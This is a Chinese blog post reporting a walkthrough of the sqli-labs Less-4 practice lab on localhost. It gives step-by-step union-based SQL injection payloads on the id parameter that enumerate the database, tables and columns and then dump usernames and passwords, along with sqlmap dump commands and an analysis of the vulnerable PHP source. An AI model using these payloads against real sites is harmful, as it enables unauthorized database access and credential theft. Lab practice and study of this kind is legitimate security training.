首页 > 数据库 >sql-labs靶场第四关测试报告

sql-labs靶场第四关测试报告

时间:2024-10-07 11:47:03浏览次数:8  
标签:sqlmap 测试报告 数据库 labs sqli master sql id

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①Order by判断列数

②判断回显地方

③爆库,查看数据库名称

④爆表,查看security库的所有表

⑤爆列,查看users表的所有列

⑥成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/

二、测试目的

测试get型的sql注入,联合查询注入出数据库中的用户名和密码;

使用sqlmap爆破,熟悉sqlmap的参数

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显了对应的账户密码

测试符号

给数字加个双引号  “   ,回显报错,存在sql注入,注入点在url的id值

字符型注入

添加1=1判断,会报错,尝试闭合符,闭合符为  “)  时正常显示

?id=1") and 1=1 --+

2、注入数据库

①Order by判断列数

这关的payload闭合符号为   “)

传入id值,先用order by 查看列数,可见数据库表共三列,查看第四列报错

?id=1") order by 3 --+

?id=1") order by 4 --+

②判断回显地方

使用联合查询注入,可以看到Login name是第二列,password是第三列

原理是:原本的id号失效没有含义,因此显示union select的内容

?id=-1") union select 1,2,3 --+

③爆库,查看数据库名称

?id=-1") union select 1,database(),3 --+

Database()函数返回当前数据库

④爆表,查看security库的所有表

?id=-1") union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

⑤爆列,查看users表的所有列

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= database() and table_name='users'--+

依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑥成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

可以将所有的用户名和密码爆出

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为4就可以了,结果都是一样的

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 –dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 -D security –tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 -D security -T users –columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。

3.这里id号重新赋了个值,加上了双引号  “   ,sql语句中还有括号需要闭合   。  闭合符为  “)     。

4.Sql语句只取一行,注入时会把注释掉。

5.页面输出内容,直接将取到的数据,username和password打印在页面上;因此,使用联合查询时,会将username和password对应的列的内容打印出来。

6.联合查询原理是:将两个select语句结果返回在一个表格中,因此需要列数一样,结果会去重。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用联合查询,覆盖掉原来的sql语句,原来的sql语句的id号是无效的,所以没有查询结果。

标签:sqlmap,测试报告,数据库,labs,sqli,master,sql,id
From: https://blog.csdn.net/2301_79698171/article/details/142691522

相关文章

  • sql-labs靶场第二关测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、寻找注入点2、注入数据库①Orderby判断列数②判断回显地方③爆库,查看数据库名称④爆表,查看security库的所有表⑤爆列,查看users表的所有列⑥成功获取用户名和密码信息3、sqlmap注入方法......
  • MySQL Limit 分页查询优化
    前言在各类系统的表格类信息展示的功能中,经常会用到“翻页”这个操作,在页面上每次只展示有限的数据,需要看其他数据的时候则像翻书一样翻到后面的“页”。在MySQL支持的SQL语法中对此有特殊的支持,开发人员在实现这类功能的时候很方便:select*fromxxxlimitM,Nselect*f......
  • MySQL gh-ost 工具使用详解
    前言MySQL的同步机制比较单纯,主库上执行过的DML和DDL会在从库上再执行一次,那么主库上需要10min才能执行完的DDL理论上在从库至少也要花费10min才能执行完,这意味着从库的同步会延迟10min以上,等DDL执行完之后才会继续追同步。解决方案从MySQL的同步原理来看,主要......
  • MySQL 大表改列
    前言作为一个MySQLDBA,和大表打交道的次数想必不少,大表上的ALTER操作一般影响都很大,平时会用OnlineDDL工具来辅助操作,但是本文会介绍一种特殊的技巧来应对一部分大表上的ALTER需求。解决方案从标题可以看出来,这次会用到MySQL5.7的新功能:GeneratedColumn,这种虚拟列......
  • mysql数据库连接异常问题(总结)
    针对你提到的多种数据库连接问题,下面进行总结和建议,以避免未来再次遇到相同的问题:1.连接超时(AnattemptbyaclienttocheckoutaConnectionhastimedout)原因:网络不稳定数据源配置参数异常解决方案:优化网络环境:检查网络延迟和丢包率。考虑使用更稳定的网络......
  • 连接Mysql时出现的“no database selected”错误该如何解决?
    遇到“nodatabaseselected”错误通常是因为在尝试执行SQL查询时没有明确指定要使用的数据库。以下是解决这个问题的步骤:确认连接时已选择数据库在连接数据库之后,确保已经选择了具体的数据库。例如,在MySQL中,可以使用 USE<database_name>; 语句来选择一个数据库。USE......
  • MySQL遇到问题及解决方案
    针对MySQL遇到的问题及解决方案,可以按照以下步骤进行排查和解决:查看错误日志查看MySQL的日志文件,特别是error.log文件。命令行下可以通过 tail-f/var/lib/mysqlhostname.err 查看实时日志。检查数据库服务状态确认MySQL服务是否正在运行。bash systemctl......
  • sql 查询(分组查询)
    分组函数groupbySELECT*FROMstudetail;groupbystusex根据性别进行分组count()统计个数SELECTstusex,count(stusex)FROMstudetailgroupbystusex;根据年龄进行分组统计个数SELECTstuage,count(*)FROMstudetailgroupbystuage;根据性别进行分组求......
  • 探索MySQL的InnoDB索引失效
    MySQL8+InnoDB- 序章索引失效,发生在已经建立索引,但是,查询(SELECT)时没有用到建立的(预期会用到)索引的情况下。失效原因有两个方面:1、建立索引的方式错误需要弄清楚 字段的#区分度(极其重要)这个概念。选择区分度高的建立索引。2、某些SELECT语句不支持使用索引注意,......
  • MySQL单表存多大的数据量比较合适
    前言经常使用MySQL数据库的小伙伴都知道,当单表数据量达到一定的规模以后,查询性能就会显著降低。因此,当单表数据量过大时,我们往往要考虑进行分库分表。那么如何计算单表存储多大的数据量合适?当单表数据达到多大的规模时,我们才要进行分库分表呢?MySQL存储方式首先我们要先了解一下......